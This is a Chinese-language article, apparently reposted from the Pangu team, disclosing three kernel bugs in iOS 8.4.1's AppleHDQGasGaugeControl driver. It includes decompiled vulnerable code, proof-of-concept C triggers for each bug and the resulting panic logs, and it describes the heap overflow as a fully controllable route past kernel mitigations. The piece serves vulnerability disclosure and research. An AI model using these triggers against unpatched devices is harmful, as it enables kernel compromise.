昨天,中国首个成功越狱iOS的团队盘古团队披露了3个存在于iOS 8.4.1的内核扩展处的漏洞:一个堆栈溢出的Bug、一个越界的内存访问Bug、一个堆叠溢位的Bug。其中一个“完美”的漏洞可攻破所有内核防护并实现代码执行。

“当执行 iOS 内核审查的时候,我们发现 com.apple.driver.AppleHDQGasGaugeControl
的编码质量非常糟糕。在这个博客中,我们将会公开 3 个在 iOS 8.4.1 内核扩展中发现的 3 个漏洞。更重要的是,其中一个 bug
是属于堆叠溢位,它可以允许我们击败所有内核缓解方法并获得内核中的执行代码,只需“完美”利用这单个的漏洞即可。”

selector 7的功能中堆栈溢出漏洞

该处理函数需要3个输入标量和1个输出标量。下面的代码显示了可能出现堆栈溢出,因为没有限制的inputScalar[1]。如果inputScalar[1]是一个非常大的数字,循环将损坏堆栈。

 int v17; // [sp+0h] [bp-3Ch]@5
  int v18; // [sp+10h] [bp-2Ch]@25
  if ( inputScalar[1] )
  {
    v10 = 0;
    do
  {
    v11 = -64;
    if ( (1 << v10) & inputScalar[0] )
    v11 = -2;
    *((_BYTE *)&v17 + v10++) = v11;       // v17 is on the stack
    }
    while ( inputScalar[1] != v10 );
  }

这个POC非常简单的。我们试图在第一次打开服务,并调用panic1功能触发栈溢出。

void panic1(io_connect_t connection)
{
    uint64_t inputScalar[3];
    uint64_t outputScalar[1] = {0};
    uint32_t outputCnt = 1;
    inputScalar[0] = 0xF000000;
    inputScalar[1] = 0xF000000;
    inputScalar[2] = 0xF000000;
    IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
}
int main(int argc, const char * argv[])
{
    CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connection;
    kern_return_t kr  = IOServiceOpen(service, mach_task_self(), 0, &connection);
    if(KERN_SUCCESS == kr){
        panic1(connection);
    }
    return 0;
}

PANIC LOG

panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000
r0:   0x000004ac  r1: 0x00000001  r2: 0x93033b54  r3: 0xffffffc0
r4:   0x0f000000  r5: 0x971ddc00  r6: 0x0f000000  r7: 0x93033b90
r8:   0x93033bd0  r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390
r12:  0x00f42400  sp: 0x93033b54  lr: 0x95ccffcb  pc: 0x95ccfeda
cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015000000
Kernel text base: 0x95001000
  Boot    : 0x55eebb5c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebbf2 0x000413c9
Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x93033820
        0x950b5cc9
        0x950b6061
        0x9501ee2b
        0x950b8e95
        0x950b1800
        0xc0c0c0c0   <------ the stack is corrupted
        0x00000000

selector 14出现内存越界访问漏洞

该处理函数不占用任何录入内存,而是将处理共享内存。如在我们的黑帽大会上所讨论的,这很容易通过呼叫IOConnect存储器,以控制该共享内存中的内容。通过检查启动功能,我们将看到如何在驱动程序初始化时共享内存。

 v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1);
  *(_DWORD *)(v2 + 100) = v8;
  if ( v8 )
  {
    mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
    *(_DWORD *)(v2 + 104) = mapAddr;    // object+104 stores the memory address
    bzero_130(mapAddr, 0x1000u);
    *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;  // memory+20 stores the total count

实际上,存储器用于存储数据,每个元件的阵列为12字节。所以4KB内存可容纳339个元件。那么让我们来进一步检查函数如何处理与共享内存。

          mapAddr = *(_DWORD *)(self + 104);    // get memory address of share memory
      // mod 339 to get position for writing
      v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32);
      v10 = v9;
      v11 = mapAddr + 12 * v9    // v11 may point outside the memory
      *(_BYTE *)(v11 + 28) = v7;
      v11 += 28;
      *(_BYTE *)(v11 + 3) = BYTE3(v7);
      *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16;
      *(_BYTE *)(v11 + 1) = BYTE1(v7);
      *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source

问题是,该驱动程序信任存储在共享存储器中的总计数,并且该数目可以很容易地进行修改。因此,如果我们能够知道的内存地址(这可能需要一些其他的信息泄露漏洞),我们可以使V11指向任何12字节对齐的内核地址。然后我们可以把DWORD修改成我们想要的任何值。

        void panic2(io_connect_t connection)
       {
    vm_address_t address = 0;
    vm_size_t vmsize = 4096;
    kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
    if (kr != KERN_SUCCESS || vmsize != 4096) {
        return;
    }
    *(uint32_t *)(address + 16) = 0xAAAAAAA;
    *(uint32_t *)(address + 20) = 0;  // change 339 to 0
    IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);

PANIC LOG

panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r0:   0x00000000  r1: 0xdf33b000  r2: 0x5f33aff8  r3: 0x00000000
r4:   0x0aaaaaaa  r5: 0x929abe40  r6: 0x00000001  r7: 0xddf43ba4
r8:   0x0000009e  r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e
r12:  0x00f42400  sp: 0xddf43b60  lr: 0x00000000  pc: 0x914d04c6
cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000010800000
Kernel text base: 0x90801000
  Boot    : 0x55eeb77c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eeb8b0 0x00004a05

注:共享内存的偏移量是在32位内核情况下。

selector 12堆叠溢位漏洞

此处理功能的录入是一个标量数和一个结构。此外,它需要输入标量[0]<=3(inputStructSize及7)== 0,让我们看一下bug的代码。

 v5 = a1;
  if ( inputSize )
  {
    v6 = (char *)inputStruct + 4;
    v7 = 0;
    v8 = 0;
    while ( 1 )
    {
      v9 = (int)&v6[8 * v8];
      v10 = *(_BYTE *)(v9 + 3);
      v11 = *(_BYTE *)(v9 + 1);
      v12 = *(_BYTE *)(v9 + 2);
      result = 0xE00002C2;
      v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16);
      if ( v14 > 19 )
      {
        if ( v14 != 20 )
          return result;
        v15 = 32;
      }
      else
      {
        v15 = 4;
        if ( (unsigned int)v14 >= 3 && v14 != 10 )
        {
          if ( v14 != -1 )
            return result;
          goto LABEL_12;    // break if -1 is found, at this time v8 < inputSize
        }
      }
      ++v8;
      v7 += v15;
      if ( v8 >= inputSize )
        goto LABEL_12;  // break normally with v8 == inputSize
    }
  }
  v7 = 0;
  v8 = 0;
LABEL_12:
  v16 = (void *)IOMalloc_130(8 * v8);       // memory size is 8*v8
  *(_DWORD *)(v5 + 8) = v16;
  if ( v16 )
  {
    memmove_130(v16, inputStruct, 8 * inputSize);  // heap overflow when v8 < inputSize
    result = 0;
    *(_DWORD *)v5 = v8;
    *(_DWORD *)(v5 + 4) = v7;
  }

通过这个代码,我们将看到它检查录入结构,每8个字节,并采取-1作为结束。然后将其按照大小可能比实际输入结构较小。但当复制内存,它再次使用真正的输入大小,从而导致堆溢出。

这是一个我们可以完美控制的漏洞:

- 堆的大小要溢出,这意味着你可以选择任何的kalloc区攻击

- 的大小和数据的内容的堆后覆盖

我们在这里给出一个简单的POC。

void panic3(io_connect_t connection)
{
    uint64_t inputScalar[1];
    uint8_t structData[1024];
    uint32_t structSize = 1024;
    inputScalar[0] = 0;
    memset(structData, 0x88, sizeof(structData));
    *(uint32_t *)&structData[4] = 1;
    *(uint32_t *)&structData[4+8] = 0xFFFFFFFF;  // indicate end
    IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9"
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015a00000
Kernel text base: 0x95a01000
  Boot    : 0x55eeb9ec 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebb50 0x000d2a69

需要注意的是这些漏洞不能在沙箱内触发。并且盘古已经确认,第2和第3个漏洞在iOS9 beta5中已经修复。

*参考来源:pangu, 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...